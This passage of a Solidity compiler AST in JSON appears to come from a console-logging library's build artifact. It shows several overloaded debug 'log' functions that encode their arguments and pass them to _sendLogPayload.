\"log(bool,uint256,bool,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29113,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"46945:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29114,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"46949:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"46945:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29120,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46945:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29112,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"46929:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29121,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"46929:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29122,"nodeType":"ExpressionStatement","src":"46929:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"46859:3:15","parameters":{"id":29110,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29103,"mutability":"mutable","name":"p0","nameLocation":"46868:2:15","nodeType":"VariableDeclaration","scope":29124,"src":"46863:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29102,"name":"bool","nodeType":"ElementaryTypeName","src":"46863:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29105,"mutability":"mutable","name":"p1","nameLocation":"46880:2:15","nodeType":"VariableDeclaration","scope":29124,"src":"46872:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29104,"name":"uint256","nodeType":"ElementaryTypeName","src":"46872:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29107,"mutability":"mutable","name":"p2","nameLocation":"46889:2:15","nodeType":"VariableDeclaration","scope":29124,"src":"46884:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29106,"name":"bool","nodeType":"ElementaryTypeName","src":"46884:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29109,"mutability":"mutable","name":"p3","nameLocation":"46901:2:15","nodeType":"VariableDeclaration","scope":29124,"src":"46893:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29108,"name":"uint256","nodeType":"ElementaryTypeName","src":"46893:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"46862:42:15"},"returnParameters":{"id":29111,"nodeType":"ParameterList","parameters":[],"src":"46919:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29147,"nodeType":"FunctionDefinition","src":"47032:181:15","nodes":[],"body":{"id":29146,"nodeType":"Block","src":"47107:106:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c626f6f6c2c737472696e6729","id":29138,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47157:31:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9143dbb14a0962a6e3d7ec52e236cb9bf165b86383a96499ea4cf52b827d7ce0","typeString":"literal_string \"log(bool,uint256,bool,string)\""},"value":"log(bool,uint256,bool,string)"},{"id":29139,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29126,"src":"47190:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29140,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29128,"src":"47194:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29141,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29130,"src":"47198:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29142,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29132,"src":"47202:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9143dbb14a0962a6e3d7ec52e236cb9bf165b86383a96499ea4cf52b827d7ce0","typeString":"literal_string \"log(bool,uint256,bool,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29136,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47133:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29137,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47137:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47133:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29143,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47133:72:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29135,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"47117:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47117:89:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29145,"nodeType":"ExpressionStatement","src":"47117:89:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47041:3:15","parameters":{"id":29133,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29126,"mutability":"mutable","name":"p0","nameLocation":"47050:2:15","nodeType":"VariableDeclaration","scope":29147,"src":"47045:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29125,"name":"bool","nodeType":"ElementaryTypeName","src":"47045:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29128,"mutability":"mutable","name":"p1","nameLocation":"47062:2:15","nodeType":"VariableDeclaration","scope":29147,"src":"47054:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29127,"name":"uint256","nodeType":"ElementaryTypeName","src":"47054:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29130,"mutability":"mutable","name":"p2","nameLocation":"47071:2:15","nodeType":"VariableDeclaration","scope":29147,"src":"47066:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29129,"name":"bool","nodeType":"ElementaryTypeName","src":"47066:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29132,"mutability":"mutable","name":"p3","nameLocation":"47089:2:15","nodeType":"VariableDeclaration","scope":29147,"src":"47075:16:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":29131,"name":"string","nodeType":"ElementaryTypeName","src":"47075:6:15","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"47044:48:15"},"returnParameters":{"id":29134,"nodeType":"ParameterList","parameters":[],"src":"47107:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29170,"nodeType":"FunctionDefinition","src":"47219:170:15","nodes":[],"body":{"id":29169,"nodeType":"Block","src":"47285:104:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c626f6f6c2c626f6f6c29","id":29161,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47335:29:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_ceb5f4d77121f3d3cfafeaa403e6fff70e4470d0bfb40c1d850f89e3d65029f2","typeString":"literal_string \"log(bool,uint256,bool,bool)\""},"value":"log(bool,uint256,bool,bool)"},{"id":29162,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29149,"src":"47366:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29163,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29151,"src":"47370:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29164,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29153,"src":"47374:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29165,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29155,"src":"47378:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_ceb5f4d77121f3d3cfafeaa403e6fff70e4470d0bfb40c1d850f89e3d65029f2","typeString":"literal_string \"log(bool,uint256,bool,bool)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":29159,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47311:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29160,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47315:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47311:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29166,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47311:70:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29158,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"47295:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29167,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47295:87:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29168,"nodeType":"ExpressionStatement","src":"47295:87:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47228:3:15","parameters":{"id":29156,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29149,"mutability":"mutable","name":"p0","nameLocation":"47237:2:15","nodeType":"VariableDeclaration","scope":29170,"src":"47232:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29148,"name":"bool","nodeType":"ElementaryTypeName","src":"47232:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29151,"mutability":"mutable","name":"p1","nameLocation":"47249:2:15","nodeType":"VariableDeclaration","scope":29170,"src":"47241:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29150,"name":"uint256","nodeType":"ElementaryTypeName","src":"47241:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29153,"mutability":"mutable","name":"p2","nameLocation":"47258:2:15","nodeType":"VariableDeclaration","scope":29170,"src":"47253:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29152,"name":"bool","nodeType":"ElementaryTypeName","src":"47253:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29155,"mutability":"mutable","name":"p3","nameLocation":"47267:2:15","nodeType":"VariableDeclaration","scope":29170,"src":"47262:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29154,"name":"bool","nodeType":"ElementaryTypeName","src":"47262:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"47231:39:15"},"returnParameters":{"id":29157,"nodeType":"ParameterList","parameters":[],"src":"47285:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29193,"nodeType":"FunctionDefinition","src":"47395:176:15","nodes":[],"body":{"id":29192,"nodeType":"Block","src":"47464:107:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c626f6f6c2c6164647265737329","id":29184,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47514:32:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_9acd3616ce3d15d7b870c591206f600266707f40592e6070353f762f54c75a2e","typeString":"literal_string \"log(bool,uint256,bool,address)\""},"value":"log(bool,uint256,bool,address)"},{"id":29185,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29172,"src":"47548:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29186,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29174,"src":"47552:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29187,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29176,"src":"47556:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29188,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29178,"src":"47560:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_9acd3616ce3d15d7b870c591206f600266707f40592e6070353f762f54c75a2e","typeString":"literal_string \"log(bool,uint256,bool,address)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":29182,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47490:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29183,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47494:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47490:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29189,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47490:73:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29181,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"47474:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29190,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47474:90:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29191,"nodeType":"ExpressionStatement","src":"47474:90:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47404:3:15","parameters":{"id":29179,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29172,"mutability":"mutable","name":"p0","nameLocation":"47413:2:15","nodeType":"VariableDeclaration","scope":29193,"src":"47408:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29171,"name":"bool","nodeType":"ElementaryTypeName","src":"47408:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29174,"mutability":"mutable","name":"p1","nameLocation":"47425:2:15","nodeType":"VariableDeclaration","scope":29193,"src":"47417:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29173,"name":"uint256","nodeType":"ElementaryTypeName","src":"47417:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29176,"mutability":"mutable","name":"p2","nameLocation":"47434:2:15","nodeType":"VariableDeclaration","scope":29193,"src":"47429:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29175,"name":"bool","nodeType":"ElementaryTypeName","src":"47429:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29178,"mutability":"mutable","name":"p3","nameLocation":"47446:2:15","nodeType":"VariableDeclaration","scope":29193,"src":"47438:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29177,"name":"address","nodeType":"ElementaryTypeName","src":"47438:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"47407:42:15"},"returnParameters":{"id":29180,"nodeType":"ParameterList","parameters":[],"src":"47464:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29216,"nodeType":"FunctionDefinition","src":"47577:182:15","nodes":[],"body":{"id":29215,"nodeType":"Block","src":"47649:110:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c616464726573732c75696e7432353629","id":29207,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47699:35:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1537dc87a2086882c18d77c4157142ca3b6771cb00e940824367191cd9b5e560","typeString":"literal_string \"log(bool,uint256,address,uint256)\""},"value":"log(bool,uint256,address,uint256)"},{"id":29208,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29195,"src":"47736:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29209,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29197,"src":"47740:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29210,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29199,"src":"47744:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29211,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29201,"src":"47748:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1537dc87a2086882c18d77c4157142ca3b6771cb00e940824367191cd9b5e560","typeString":"literal_string \"log(bool,uint256,address,uint256)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":29205,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47675:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29206,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47679:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47675:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29212,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47675:76:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29204,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"47659:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29213,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47659:93:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29214,"nodeType":"ExpressionStatement","src":"47659:93:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47586:3:15","parameters":{"id":29202,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29195,"mutability":"mutable","name":"p0","nameLocation":"47595:2:15","nodeType":"VariableDeclaration","scope":29216,"src":"47590:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29194,"name":"bool","nodeType":"ElementaryTypeName","src":"47590:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29197,"mutability":"mutable","name":"p1","nameLocation":"47607:2:15","nodeType":"VariableDeclaration","scope":29216,"src":"47599:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29196,"name":"uint256","nodeType":"ElementaryTypeName","src":"47599:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":29199,"mutability":"mutable","name":"p2","nameLocation":"47619:2:15","nodeType":"VariableDeclaration","scope":29216,"src":"47611:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":29198,"name":"address","nodeType":"ElementaryTypeName","src":"47611:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":29201,"mutability":"mutable","name":"p3","nameLocation":"47631:2:15","nodeType":"VariableDeclaration","scope":29216,"src":"47623:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":29200,"name":"uint256","nodeType":"ElementaryTypeName","src":"47623:7:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"47589:45:15"},"returnParameters":{"id":29203,"nodeType":"ParameterList","parameters":[],"src":"47649:0:15"},"scope":31862,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":29239,"nodeType":"FunctionDefinition","src":"47765:187:15","nodes":[],"body":{"id":29238,"nodeType":"Block","src":"47843:109:15","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728626f6f6c2c75696e743235362c616464726573732c737472696e6729","id":29230,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"47893:34:15","typeDescriptions":{"typeIdentifier":"t_stringliteral_1bb3b09a4221f0a7df6a4e6e8ee3a14c54c5ebf8032d4ada871c774122536c94","typeString":"literal_string \"log(bool,uint256,address,string)\""},"value":"log(bool,uint256,address,string)"},{"id":29231,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29218,"src":"47929:2:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":29232,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29220,"src":"47933:2:15","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":29233,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29222,"src":"47937:2:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":29234,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":29224,"src":"47941:2:15","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1bb3b09a4221f0a7df6a4e6e8ee3a14c54c5ebf8032d4ada871c774122536c94","typeString":"literal_string \"log(bool,uint256,address,string)\""},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":29228,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"47869:3:15","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":29229,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"47873:19:15","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"47869:23:15","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":29235,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47869:75:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":29227,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23775,"src":"47853:15:15","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) pure"}},"id":29236,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"47853:92:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":29237,"nodeType":"ExpressionStatement","src":"47853:92:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"47774:3:15","parameters":{"id":29225,"nodeType":"ParameterList","parameters":[{"constant":false,"id":29218,"mutability":"mutable","name":"p0","nameLocation":"47783:2:15","nodeType":"VariableDeclaration","scope":29239,"src":"47778:7:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":29217,"name":"bool","nodeType":"ElementaryTypeName","src":"47778:4:15","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":29220,"mutability":"mutable","name":"p1","nameLocation":"47795:2:15","nodeType":"VariableDeclaration","scope":29239,"src":"47787:10:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typ